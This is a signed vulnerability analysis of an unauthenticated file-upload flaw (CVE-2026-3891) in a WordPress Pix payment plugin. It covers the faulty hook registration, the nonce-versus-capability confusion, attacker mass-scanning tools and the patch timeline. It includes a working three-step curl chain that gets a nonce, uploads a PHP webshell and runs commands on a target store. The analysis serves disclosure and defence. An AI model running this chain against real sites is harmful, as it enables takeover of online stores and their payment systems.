-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ## The registration tells the whole story `LknPaymentPixForWoocommerce.php` registers four hooks on plugin load: ```php $this->loader->add_action( 'wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', $this->LknPaymentPixForWoocommercePixC6Class, 'lkn_pix_for_woocommerce_c6_save_settings' ); $this->loader->add_action( 'wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', $this->LknPaymentPixForWoocommercePixC6Class, 'lkn_pix_for_woocommerce_c6_save_settings' ); $this->loader->add_action( 'wp_ajax_lkn_pix_for_woocommerce_generate_nonce', $plugin_admin, 'generate_nonce' ); $this->loader->add_action( 'wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', $plugin_admin, 'generate_nonce' ); ``` In WordPress, `wp_ajax_` routes requests from logged-in users. `wp_ajax_nopriv_` routes everyone else. Registering both variants with the same handler means the handler runs for any caller regardless of session state. No cookie, no Authorization header, no credentials of any kind: WordPress routes to the `nopriv` handler. Both the certificate upload endpoint and the nonce endpoint that feeds it are in this category. The nonce is supposed to be the security gate. The gate is on the same side of the wall as the attacker. The `generate_nonce` function in `LknPaymentPixForWoocommerceAdmin.php`: ```php public function generate_nonce() { if (empty($_REQUEST['action_name'])) { wp_send_json_error(['message' => 'Missing action_name parameter.'], 400); } $action = sanitize_text_field(wp_unslash($_REQUEST['action_name'])); $nonce = wp_create_nonce($action); wp_send_json_success(['nonce' => $nonce, 'action' => $action]); } ``` It accepts any `action_name` via `$_REQUEST` with no validation of whether the action is a known or permitted one, and returns the output of `wp_create_nonce($action)`. When called without a session, WordPress computes the nonce against user ID 0, the anonymous identity. The nonce is valid. It is valid for user ID 0 and for the given action name. ## The check at the top of the upload handler verifies freshness, not identity The opening of `lkn_pix_for_woocommerce_c6_save_settings` in `LknPaymentPixForWoocommercePixC6.php`: ```php public function lkn_pix_for_woocommerce_c6_save_settings() { check_ajax_referer('lkn_pix_for_woocommerce_c6_settings_nonce'); // ... ``` `check_ajax_referer` calls `wp_verify_nonce`. `wp_verify_nonce` computes the expected nonce value for the current user and action, compares it against the submitted token, and returns 1 or 2 if the token is valid and within the 24-hour window. The "current user" for a `nopriv` request is user ID 0. The nonce that was generated by `generate_nonce` for an anonymous caller was also computed for user ID 0 against the same action name. The comparison matches. The function returns. Execution continues. `current_user_can()` is not called anywhere in this function. Not before the file write, not after, not inside the upload branch, not at all. The nonce check is the only gate. This is the nonce-is-not-auth failure mode. WordPress nonces are CSRF tokens. They exist to prove a request is fresh and originated from a page this server served in the last 24 hours, preventing an external attacker from forging a request on behalf of a logged-in administrator. They are not identity checks. `wp_verify_nonce` returning true tells you the nonce was minted for this action and has not expired. It does not tell you the caller holds the `manage_woocommerce` capability. WordPress provides `current_user_can()` for that, separately. The developer reached for `check_ajax_referer` and treated it as a substitute for `current_user_can`. The two functions answer different questions. ## The upload path is in the webroot and there is no extension filter After the nonce check, the handler copies the uploaded file to disk: ```php $has_crt = !empty($_FILES['certificate_crt_path']['name']); if ($has_crt) { $crt_filename = sanitize_file_name($_FILES['certificate_crt_path']['name']); $crt_target = $certs_dir . $crt_filename; $tmp_file = sanitize_text_field($_FILES['certificate_crt_path']['tmp_name']); if (is_uploaded_file($tmp_file)) { $wp_filesystem->copy($tmp_file, $crt_target, true); $settings['certificate_crt_path'] = 'Includes/files/certs_c6/' . $crt_filename; } } ``` `sanitize_file_name` removes special characters from the filename. It does not strip PHP extensions. A file named `shell.php` passes through as `shell.php`. The destination `$certs_dir` resolves to `wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/`. That path is inside the WordPress installation under `wp-content/plugins/`, served by the PHP interpreter, with no `.htaccess` restricting execution in the `certs_c6/` subdirectory. This is the unauth-write-to-execution-path shape: no credentials required to write a file into a directory the PHP interpreter will execute on the next HTTP request to that path. The complete chain for CVE-2026-3891: ```bash # Step 1: Obtain a nonce. No session, no credentials. curl -s -X POST 'https://target.com/wp-admin/admin-ajax.php' \ -d 'action=lkn_pix_for_woocommerce_generate_nonce' \ -d 'action_name=lkn_pix_for_woocommerce_c6_settings_nonce' # {"success":true,"data":{"nonce":"6a2fa99d39","action":"lkn_pix_for_woocommerce_c6_settings_nonce"}} # Step 2: Upload a PHP webshell. Still no credentials. curl -s -X POST 'https://target.com/wp-admin/admin-ajax.php' \ -F 'action=lkn_pix_for_woocommerce_c6_save_settings' \ -F '_ajax_nonce=6a2fa99d39' \ -F 'settings={"enabled":"yes","title":"PIX C6","pix_expiration_minutes":30}' \ -F 'certificate_crt_path=@shell.php;type=application/octet-stream' # {"success":true,"data":{"message":"Settings saved successfully!"}} # Step 3: Execute commands. curl -s 'https://target.com/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php?0=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` The handler also accepts `certificate_key_path` alongside `certificate_crt_path`. The Nxploited tool uploads to both fields in a single request, placing two shells per exploitation attempt. ## The scanner is not the exploit. The scanner is the input to the exploit. AnggaTechI's repository at `github.com/AnggaTechI/Mass-Scanner-CVE-2026-3891` performs step 1 only. It reads a target list, dispatches up to 200 concurrent workers via `ThreadPoolExecutor`, and writes results to a file whose format is declared in the output header: ``` # Format : | nonce= ``` That format is not a debug log. It is a structured credential record: a target URL paired with a currently valid nonce, formatted for a downstream consumer. WordPress nonces are valid for up to 24 hours. Every line in the output file is a WooCommerce store and a working authorization token for its certificate upload endpoint, with time remaining on the clock. The tool's README is an animated wall of disclaimers: "Authorized pentest / audit use only," "educational and defensive research purposes only," "authorized use only" repeated across multiple sections, rendered with status badges and typing animations. This is the disclaimer-wrapped campaign kit shape: aggressive authorized-use framing applied to a tool whose architecture describes operational harvest at scale. A 200-worker concurrent credential harvester accumulating pre-authenticated tokens for foreign payment infrastructure is not a defensive research tool. The disclaimer is the instrument that makes the tool appear to be one. The source comments are in Bahasa Indonesia. "Print ringkas biar log gak kebanjiran" translates to "keep the output brief so the log does not flood." That is a note written for operators running large-scale scans against many hosts, not for a researcher reproducing a single finding. Pix for WooCommerce connects WordPress stores to Brazil's national instant payment system, administered by the Banco Central do Brasil. The scanner is written in Bahasa Indonesia and targets infrastructure specific to the Brazilian e-commerce ecosystem. That is not a coincidence of authorship. The Nxploited tool at `github.com/Nxploited/CVE-2026-3891` performs both steps at scale. It reads a target list, spawns worker threads, harvests a nonce and uploads a shell against each target, and writes the resulting shell URLs to `shells.txt`. The tool's banner line in the source references "CVE-2025-29009," a distinct file upload vulnerability in a related plugin from the same vendor. The script was retooled from an earlier campaign, not built specifically for this CVE. The `shells.txt` output is a list of deployed webshells on successfully compromised stores, each line ready for the next operation. AnggaTechI accumulates pre-authenticated credentials. Nxploited deploys shells. Whether or not the two repositories are coordinated, the tooling assembled around CVE-2026-3891 within days of disclosure is complete: from reachability probe to credential harvest to shell deployment. ## The patch changelog is a timeline Version 1.6.0, published March 11, carried the entry "Security improvements to request routes." Two days after the vulnerable 1.5.0 shipped on March 9. That version removed the `nopriv` registrations for both `c6_save_settings` and `generate_nonce`. The upload handler became authenticated-only. The handler gained `if (!current_user_can('manage_woocommerce'))` as its second line. Removing the `nopriv` nonce generator registration follows directly: a nonce vending machine open to anonymous callers serves no legitimate purpose once the endpoint it feeds requires authentication. Version 1.6.2, also March 12, added file extension validation. Version 1.6.3, March 19, removed MIME type validation that had been added alongside it. MIME type in a multipart form upload is supplied by the caller. An attacker sets it to whatever value the server will accept. Validating caller-supplied MIME type is validating the attacker's own assertion about the file. The extension check on the server side is the durable control. The MIME validation was added and removed within a week, which is approximately how long it takes to determine that a defense either causes false positives on legitimate certificate files or defends nothing. The CVE was publicly disclosed March 13. The fix was already deployed March 11. The developer found this vulnerability, or was notified privately, before it was public. The window between introduction and patch was two days. The window between introduction and public disclosure was four. The NVD description for CVE-2026-3891 says "missing capability check." That is accurate as far as it goes. What it does not describe is that a security check was written, placed, and passed over the lifecycle of every vulnerable request. `check_ajax_referer` is in the function. It runs. It returns true. Nothing in that check interrogates whether the caller is an administrator. WordPress offers three separate gates for three separate properties: `is_user_logged_in()` for session presence, nonces for CSRF protection, `current_user_can()` for authorization. This handler used the middle one in place of the third. The missing check was not forgotten. It was substituted. PoC: [AnggaTechI/Mass-Scanner-CVE-2026-3891](https://github.com/AnggaTechI/Mass-Scanner-CVE-2026-3891) | [joshuavanderpoll/CVE-2026-3891](https://github.com/joshuavanderpoll/CVE-2026-3891) -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaekBGgAKCRDeZjl4jgkQ JnBUAQCwaTCAV4+hqc/1sXDgwgnAhgjLDGeBSHrqLPkyc1DdYwEA1ItmP+Ry+Qnv 5Bpn+lYgpgsfvSDFQkyUe3+mObypbQU= =0mL3 -----END PGP SIGNATURE-----